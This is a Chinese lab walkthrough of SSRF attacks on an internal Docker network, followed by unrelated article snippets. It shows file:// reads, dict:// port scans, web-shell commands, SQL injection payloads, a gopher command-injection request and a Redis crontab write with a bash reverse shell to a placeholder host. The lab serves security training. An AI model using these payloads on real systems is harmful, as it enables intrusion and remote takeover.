利用SSRF击穿内网!kali靶机实验
目录
1. 靶场拓扑图
2. 判断SSRF的存在
3. SSRF获取本地信息
3.1. SSRF常用协议
3.2. 使用file协议
4. 172.150.23.1/24探测端口
5. 172.150.23.22 - 代码注入
6. 172.150.23.23 SQL注入
7. 172.150.23.24 命令执行
7.1. 实验步骤
8. 172.150.23.27:6379 Redis未授权
8.1. Redis unauth 应用详情
8.1.1. 清空 key(实战中最好不要使用该命令)
8.1.2. 设置要操作的路径为定时任务目录
8.1.3. 在定时任务目录下创建 root 的定时任务文件
8.1.4. 写入 Bash 反弹 shell 的 payload
8.1.5. 保存上述操作
首先我们利用到的国光老师制作的与ssrf相关的靶场资源链接:Github - sqlsec/ssrf-vuls
以下是部分靶场的实验,均为自己手动试过
利用docker容器搭建kali靶场,启动靶场会有端口映射,对IP地址和端口进行访问,实现访问靶场,
这种状态类似搭建了一个服务器,我们输入IP加端口进行访问,就像访问公网一样,我们可以利用该ssrf漏洞对内网其他地址进行访问攻击,如下图
1. 靶场拓扑图
192.168.119.128:目前虚拟机IP
借用下图对该靶场进行更好的理解,其他地址就是其他服务器。具有ssrf漏洞的服务器就像一个跳板,我们借用该跳板对其他服务器进行访问敏感数据,在该靶场中,我们任务就是找到相应flag
先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
2. 判断SSRF的存在
有对外进行网络请求的地方,就可能存在ssrf,当开启靶场后,我们事先访问一番IP+映射端口
192.168.119.128:9080
可以进行网站请求,进行测试,对公网进行访问,比方说百度
通过图中显现,测试成功,接下来对内网IP 127.0.0.1 进行测试,看看是否可以访问
测试依然成功,通过两次测试,基本可以判定是ssrf漏洞,它并没有对用户的输入进行过滤或者验证,导致可以对任意外网或者内网进行访问。
也就是我们接下来可以对该内网进行访问
3. SSRF获取本地信息
正常业务情况是请求网站然后响应内容,但是没做好过滤可以使用其他协议,配合 file 协议来读取本地的文件信息。
当我们确认漏洞是ssrf后,我们还需要知道该IP地址是什么,然后对该网段进行判断,进行攻击
3.1. SSRF常用协议
http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用
dict://:泄露安装软件版本信息,查看端口,操作内网远程访问等
file://:读取本地文件
接下来我们使用相关协议对该服务器进行信息收集
由于我们什么信息都不知道,首先采用file协议来获取本地信息
3.2. 使用file协议
file:///etc/hosts
为什么使用hosts文件呢,因为hosts文件中会保存自己的IP地址。
权限高的情况下还可以尝试读取 /proc/net/arp
或者 /etc/network/interfaces
来判断当前机器的网络情况
172.150.23.21 得到了该地址,就可以对该网段进行搜集了,探测内网端口
4. 172.150.23.1/24探测端口
常用端口80,8080,6379,3306,网段:21到40,扫一下,因为我们目前是上帝视角,就爆破这几个熟悉流程即可
对于探测端口,我们常使用dict协议
dict://:泄露安装软件版本信息,查看端口,操作内网远程访问等
使用bp进行爆破,将d段与端口添加
- sniper(狙击手攻击):这种攻击使用单一的有效载荷集和一个或多个有效载荷位置。它将每个有效载荷依次放入第一个位置、第二个位置,依此类推。
- battering ram(攻城槌攻击):这种攻击使用单一的有效载荷集。它遍历这些有效载荷,并将相同的有效载荷同时放入所有定义的有效载荷位置。
- pitchfork(干草叉攻击):这种攻击使用多个有效载荷集(每个定义的位置对应不同的有效载荷集,最多20个)。攻击同时遍历所有有效载荷集,先使用每个集中的第一个有效载荷,然后是每个集中的第二个有效载荷,依此类推。
- cluster bomb(集束炸弹攻击):这种攻击使用多个有效载荷集(每个定义的位置对应不同的有效载荷集,最多20个)。攻击依次遍历每个有效载荷集,以测试有效载荷组合的所有排列。
使用cluster bomb模块
通过爆破发现21:80,22:80,23:3306,23:80,24:80,呃直接看图吧
比对前面开头的拓扑图,一一匹配,信息收集完毕,接下来使用SSRF漏洞来进行内网攻击
5. 172.150.23.22 - 代码注入
既然我们探测到了这些端口,接下来对其进行实验
访问172.150.23.22
返回一个界面,思考一下,就单一个界面,我们接下来应该是对其进行目录扫描,看看是否有隐藏目录,然后对隐藏目录进行访问
172.150.23.22/222.php
对网址后面添加php文件,在bp中对其进行爆破访问《类型php文件》
通过爆破,发现两个文件具有回显,并且是典型的敏感文件和一句话木马
- phpinfo.php-------》获得了PHP版本信息,并且还有系统信息
- shell.php 一句话木马,接下来可以利用一句话木马进行命令执行
使用get传参进行代码注入172.150.23.22/shell.php?cmd=ls
出现了以下信息
- 172.150.23.22/shell.php?cmd=cat%20/etc/hosts cat后面的空格要改为%20,才能进行访问hosts
- 但是我们需要找到flag,如果从 BP 里面抓包请求的话,空格得写成
%2520
,即两次 URL 编码才可以顺利执行命令:172.150.23.22/shell.php?cmd=cat%20/flag
6. 172.150.23.23 SQL注入
访问该站点,是一个SQL注入类型的靶场
?id=1 正常查询加上’出现错误,为报错注入,使用报错注入语句直接秒了
http://172.150.23.23/?id=1%20and%201=2%20union%20select%20version(),user(),3,database()--+
报错语句带出相关信息
172.150.23.23?id=1'%20and%20(select%20extractvalue("anything",concat('~',(select%20user()))))--+
7. 172.150.23.24 命令执行
172.72.23.24 是一个经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行:
这种场景和之前的攻击场景稍微不太一样,之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的,但是这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:
注意几点:
- Content-Length需要正确设置,用Burp发一次,会自动计算
- 需要URL编码一次
- 删除
Accept-Encoding
,否则结果会被两次编码(至善一个) - 格式:
gopher://172.72.23.24:80/_<编码后POST数据包>
7.1. 实验步骤
- 输入127.0.0.1 ping一下本地,没有回显,此时使用bp拦包,网址为post请求
bp拦截
- 在ssrf中无法使用HTTP协议来传递post数据,因此要使用一个gopher协议,接下来就是如何将数据变成gopher协议符合的格式。
- 事先我们需要将上图中红框中的规则删去,因为如果它存在,请求出去的信息将会被两次编码,导致信息流错误,使无法正常gopher。
- 我们要构造属于172.150.23.24的gopher协议,因此需要将Host改为172.150.23.24
并且将无关信息删除,框住的,?id=1也删去
- 改为下面样子并且发送一次,会改变长度为适合的长度。
- 对剩下的内容进行两次url编码
- 重新抓一个原始包,接下来就是将编码的数据流粘贴到这个包中,构造gopher协议
- gopher://172.150.23.24:80/_ ------>下划线:因为gopher协议在传输过程中会吞掉一个字符,这个字符任意都可以,
将;后面的指令更改,再编码两次构造协议同理可以查到其他信息。
8. 172.150.23.27:6379 Redis未授权
8.1. Redis unauth 应用详情
内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:
dict://x.x.x.x:6379/<Redis 命令>
- 使用
dict
协议来简单判断是否存在未授权,执行info
命令:dict://ip:port/info
:
证实存在未授权,写入定时任务反弹shell,其基本payload:
flushall #删除所有key,保证我们的优先级最高
config set dir /var/spool/cron/ #设置目录,还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方
config set dbfilename root #文件名与用户名一致
set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确
save #保存
利用的时候,只需要用burp结合dict协议来逐条发包即可,最好url编码一次(受post中的&影响),不过不需要编码两次,因为这里不是http协议.
Redis 成功返回执行完 info 命令后的结果信息
8.1.1. 清空 key(实战中最好不要使用该命令)
dict://172.72.23.27:6379/flushall
8.1.2. 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/
8.1.3. 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
8.1.4. 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333
0>%261\n"
8.1.5. 保存上述操作
dict://172.72.23.27:6379/save
SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏
览器传输的时候被 URL 打乱编码
Config set dir /var/spool/cron/ 相当于 cd /var/spool/cron/
相关文章:

利用SSRF击穿内网!kali靶机实验
目录 1. 靶场拓扑图 2. 判断SSRF的存在 3. SSRF获取本地信息 3.1. SSRF常用协议 3.2. 使用file协议 4. 172.150.23.1/24探测端口 5. 172.150.23.22 - 代码注入 6. 172.150.23.23 SQL注入 7. 172.150.23.24 命令执行 7.1. 实验步骤 8. 172.150.23.27:6379 Redis未授权…...

DVWA在线靶场-xss部分
目录 1. xxs(dom) 1.1 low 1.2 medium 1.3 high 1.4 impossible 2. xss(reflected) 反射型 2.1 low 2.2 medium 2.3 high 2.4 impossible 3. xss(stored)存储型 --留言板 3.1 low 3.2 medium 3.3 high 3.…...

Go 语言 slice(切片) 的使用
序言 在许多开发语言中,动态数组是必不可少的一个组成部分。在实际的开发中很少会使用到数组,因为对于数组的大小大多数情况下我们是不能事先就确定好的,所以他不够灵活。动态数组通过提供自动扩容的机制,极大地提升了开发效率。这…...
Android Exoplayer 实现多个音视频文件混合播放以及音轨切换
在之前的文章ExoPlayer中常见MediaSource子类的区别和使用场景中介绍了Exoplayer中各种子MediaSource的使用场景,这篇我们着重详细介绍下实现多路流混合播放的用法。常见的使用场景有:视频文件电影字幕、正片视频广告视频、背景视频背景音乐等。 初始化…...
深入浅出:Java 中的动态类加载与编译技术
1. 引言 Java 的动态性是其强大功能之一,允许开发者在运行时加载和编译类,从而构建灵活、可扩展的应用程序。动态类加载和编译在许多高级场景中至关重要,例如插件系统、动态代理、框架开发(如 Spring)和代码生成工具。Java 提供了两大核心机制来实现这一目标: 自定义 Cl…...

js常用的数组遍历方式
以下是一个完整的示例,将包含图片、文字和数字的数组渲染到 HTML 页面,使用 多种遍历方式 实现不同的渲染效果: 1. 准备数据(数组) const items [{ id: 1, name: "苹果", price: 5.99, image: "h…...

【网络编程】五、三次握手 四次挥手
文章目录 Ⅰ. 三次握手Ⅱ. 建立连接后的通信Ⅲ. 四次挥手 Ⅰ. 三次握手 1、首先双方都是处于未通信的状态,也就是关闭状态 CLOSE。 2、因为服务端是为了服务客户端的,所以它会提前调用 listen() 函数进行对客户端请求的监听。 3、接着客户端就…...
【类拷贝文件的运用】
常用示例 当我们面临将文本文件分成最大大小块的时,我们可能会尝试编写如下代码: public class TestSplit {private static final long maxFileSizeBytes 10 * 1024 * 1024; // 默认10MBpublic void split(Path inputFile, Path outputDir) throws IOException {…...

从 AGI 到具身智能体:解构 AI 核心概念与演化路径全景20250509
🤖 从 AGI 到具身智能体:解构 AI 核心概念与演化路径全景 作者:AI 应用实践者 在过去的几年中,AI 领域飞速发展,从简单的文本生成模型演进为今天具备复杂推理、感知能力的“智能体”系统。本文将从核心概念出发&#x…...

Docker Compose 的历史和发展
这张图表展示了Docker Compose从V1到V2的演变过程,并解释了不同版本的Compose文件格式及其支持情况。以下是对图表的详细讲解: Compose V1 No longer supported: Compose V1已经不再支持。Compose file format 3.x: 使用了版本3.x的Compose文件格式。 …...
ARMV8 RK3399 u-boot TPL启动流程分析 --crt0.S
上一篇介绍到start.S 最后一个指令是跳转到_main, 接下来分析 __main 都做了什么 arch/arm/lib/crt0.S __main 注释写的很详细,主要分为5步 1. 准备board_init_f的运行环境 2. 跳转到board_init_f 3. 设置broad_init_f 申请的stack 和 GD 4. 完整u-boot 执行re…...

从 JIT 即时编译一直讲到CGI|FastGGI|WSGI|ASGI四种协议的实现细节
背景 我一度理解错了这个东西,之前没有AI的时候,也没深究过,还觉得PHP8支持了常驻内存的运行的错误理解,时至今日再来看这个就很清晰了。 另外,早几年对以上4个协议,我也没搞懂,时至今日&…...
Vue.js 页面切换空白与刷新 404 问题深度解析
在使用 Vue.js 开发单页应用 (SPA) 的过程中,开发者经常会遇到两个常见问题:页面切换时出现短暂的空白屏幕,以及刷新页面时返回 404 错误。这两个问题不仅影响用户体验,还可能阻碍项目的正常上线。本文将深入探讨这两个问题的成因…...

CSS3 遮罩
在网页设计中,我们经常需要实现一些特殊的视觉效果来增强用户体验。CSS3 遮罩(mask)允许我们通过控制元素的可见区域来创建各种精美的视觉效果。本文将带你全面了解 CSS3 遮罩的功能和应用。 什么是 CSS3 遮罩? CSS3 遮罩是一种…...

ResNet残差神经网络的模型结构定义(pytorch实现)
ResNet残差神经网络的模型结构定义(pytorch实现) ResNet‑34 ResNet‑34的实现思路。核心在于: 定义残差块(BasicBlock)用 _make_layer 方法堆叠多个残差块按照 ResNet‑34 的通道和层数配置来搭建网络 import torch…...

uniapp|商品列表加入购物车实现抛物线动画效果、上下左右抛入、多端兼容(H5、APP、微信小程序)
以uniapp框架为基础,详细解析商品列表加入购物车抛物线动画的实现方案。通过动态获取商品点击位置与购物车坐标,结合CSS过渡动画模拟抛物线轨迹,实现从商品图到购物车图标的动态效果。 目录 核心实现原理坐标动态计算抛物线轨迹模拟动画元素控制代码实现详解模板层设计脚本…...

谈AI/OT 的融合
过去的十几年间,工业界讨论最多的话题之一就是IT/OT 融合,现在,我们不仅要实现IT/OT 的融合,更要面向AI/OT 的融合。看起来不太靠谱,却留给我们无限的想象空间。OT 领域的专家们不要再当“九斤老太”,指责这…...

USB传输模式
USB有四种传输模式: 控制传输, 中断传输, 同步传输, 批量传输 1. 中断传输 中断传输一般用于小批量, 非连续的传输. 对实时性要求较高. 常见的使用此传输模式的设备有: 鼠标, 键盘等. 要注意的是, 这里的 “中断” 和我们常见的中断概念有差异. Linux中的中断是设备主动发起的…...
Tomcat的`context.xml`配置详解!
全文目录: 开篇语前言一、context.xml 文件的基本结构二、常见的 context.xml 配置项1. **数据源(DataSource)配置**示例: 2. **日志配置**示例: 3. **设置环境变量(Environment Variables)**示…...
MapReduce 的工作原理
MapReduce 是一种分布式计算框架,用于处理和生成大规模数据集。它将任务分为两个主要阶段:Map 阶段和 Reduce 阶段。开发人员可以使用存储在 HDFS 中的数据,编写 Hadoop 的 MapReduce 任务,从而实现并行处理1。 MapReduce 的工作…...

.NET10 - 尝试一下Open Api的一些新特性
1.简单介绍 .NET9中Open Api有了很大的变化,在默认的Asp.NET Core Web Api项目中,已经移除了Swashbuckle.AspNetCore package,同时progrom中也变更为 builder.Servers.AddOpenApi() builder.Services.MapOpenApi() 2025年微软将发布…...

RabbitMQ 工作模式
RabbitMQ 一共有 7 中工作模式,可以先去官网上了解一下(一下截图均来自官网):RabbitMQ 官网 Simple P:生产者,要发送消息的程序;C:消费者,消息的接受者;hell…...

基于C++的多线程网络爬虫设计与实现(CURL + 线程池)
在当今大数据时代,网络爬虫作为数据采集的重要工具,其性能直接决定了数据获取的效率。传统的单线程爬虫在面对海量网页时往往力不从心,而多线程技术可以充分利用现代多核CPU的计算能力,显著提升爬取效率。本文将详细介绍如何使用C…...
Android11.0 framework第三方无源码APP读写断电后数据丢失问题解决
1.前言 在11.0中rom定制化开发中,在某些产品开发中,在某些情况下在App用FileOutputStream读写完毕后,突然断电 会出现写完的数据丢失的问题,接下来就需要分析下关于使用FileOutputStream读写数据的相关流程,来实现相关 功能 2.framework第三方无源码APP读写断电后数据丢…...
国产大模型「五强争霸」:决战AGI,谁主沉浮?
引言 中国AI大模型市场正经历一场史无前例的洗牌!曾经“百模混战”的局面已落幕,字节、阿里、阶跃星辰、智谱和DeepSeek五大巨头强势崛起,形成“基模五强”新格局。这场竞争不仅是技术实力的较量,更是资源、人才与生态的全面博弈。…...
【Python 基础语法】
Python 基础语法是编程的基石,以下从核心要素到实用技巧进行系统梳理: 一、代码结构规范 缩进规则 使用4个空格缩进(PEP 8标准)缩进定义代码块(如函数、循环、条件语句) def greet(name):if name: # 正确缩…...

【日撸 Java 三百行】Day 11(顺序表(一))
目录 Day 11:顺序表(一) 一、关于顺序表 二、关于面向对象 三、代码模块分析 1. 顺序表的属性 2. 顺序表的方法 四、代码及测试 拓展: 小结 Day 11:顺序表(一) Task: 在《数…...
path环境变量满了如何处理,分割 PATH 到 Path1 和 Path2
要正确设置 Path1 的值,你需要将现有的 PATH 环境变量 中的部分路径复制到 Path1 和 Path2 中。以下是详细步骤: 步骤 1:获取当前 PATH 的值 打开环境变量窗口: 按 Win R,输入 sysdm.cpl,点击 确定。在 系…...

软考 系统架构设计师系列知识点之杂项集萃(55)
接前一篇文章:软考 系统架构设计师系列知识点之杂项集萃(54) 第89题 某软件公司欲开发一个Windows平台上的公告板系统。在明确用户需求后,该公司的架构师决定采用Command模式实现该系统的界面显示部分,并设计UML类图如…...

保持Word中插入图片的清晰度
大家有没有遇到这个问题,原本绘制的高清晰度图片,插入word后就变模糊了。先说原因,word默认启动了自动压缩图片功能,分享一下如何关闭这项功能,保持Word中插入图片的清晰度。 ①在Word文档中,点击左上角的…...